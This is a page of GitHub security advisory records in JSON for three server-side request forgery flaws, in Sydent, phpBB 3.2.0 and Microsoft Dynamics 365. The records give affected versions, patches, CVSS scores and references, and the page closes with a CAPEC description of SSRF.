  "details": "### Impact\n\nSydent can be induced to send HTTP GET requests to internal systems, due to lack of parameter validation or IP address blacklisting.\n\nIt is not possible to exfiltrate data or control request headers, but it might be possible to use the attack to perform an internal port enumeration.\n\n### Patches\n\nFixed in 9e57334, 8936925, 3d531ed, 0f00412\n\n### Workarounds\n\nA potential workaround would be to use a firewall to ensure that Sydent cannot reach internal HTTP resources.\n\n### For more information\n\nIf you have any questions or comments about this advisory, email us at security@matrix.org.",
  "id": "GHSA-9jhm-8m8c-c3f4",
  "modified": "2024-09-30T20:40:49Z",
  "published": "2021-04-19T14:54:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/sydent/security/advisories/GHSA-9jhm-8m8c-c3f4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29431"
    },
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/sydent/commit/0f00412017f25619bc36c264b29ea96808bf310a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/sydent/commit/3d531ed50d2fd41ac387f36d44d3fb2c62dd22d3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/sydent/commit/8936925f561b0c352c2fa922d5097d7245aad00a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/sydent/commit/9e573348d81df8191bbe8c266c01999c9d57cd5f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/matrix-org/sydent"
    },
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/sydent/releases/tag/v2.3.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/matrix-sydent/PYSEC-2021-22.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/matrix-sydent"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SSRF in Sydent due to missing validation of hostnames"
}

GHSA-9JM4-RG99-566C

Vulnerability from github – Published: 2022-05-14 03:50 – Updated: 2024-04-24 17:50
VLAI
Summary
phpBB Server-Side Request Forgery (SSRF)
Details

phpBB version 3.2.0 is vulnerable to SSRF in the Remote Avatar function resulting allowing an attacker to perform port scanning, requesting internal content and potentially attacking such internal services via the web application.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpbb/phpbb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "3.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.2.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2017-1000419"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-24T17:50:33Z",
    "nvd_published_at": "2018-01-02T19:29:00Z",
    "severity": "HIGH"
  },
  "details": "phpBB version 3.2.0 is vulnerable to SSRF in the Remote Avatar function resulting allowing an attacker to perform port scanning, requesting internal content and potentially attacking such internal services via the web application.",
  "id": "GHSA-9jm4-rg99-566c",
  "modified": "2024-04-24T17:50:33Z",
  "published": "2022-05-14T03:50:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1000419"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/phpbb/phpbb-app"
    },
    {
      "type": "WEB",
      "url": "https://www.phpbb.com/community/viewtopic.php?f=14\u0026p=14782136"
    },
    {
      "type": "WEB",
      "url": "https://www.sec-consult.com/en/blog/advisories/phpbb-server-side-request-forgery-vulnerability/index.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpBB Server-Side Request Forgery (SSRF)"
}

GHSA-9M2C-XMJV-V2RR

Vulnerability from github – Published: 2026-04-24 00:31 – Updated: 2026-04-24 00:31
VLAI
Details

Server-side request forgery (ssrf) in Microsoft Dynamics 365 (Online) allows an unauthorized attacker to perform spoofing over a network.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-32210"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-23T22:16:35Z",
    "severity": "CRITICAL"
  },
  "details": "Server-side request forgery (ssrf) in Microsoft Dynamics 365 (Online) allows an unauthorized attacker to perform spoofing over a network.",
  "id": "GHSA-9m2c-xmjv-v2rr",
  "modified": "2026-04-24T00:31:51Z",
  "published": "2026-04-24T00:31:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32210"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32210"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.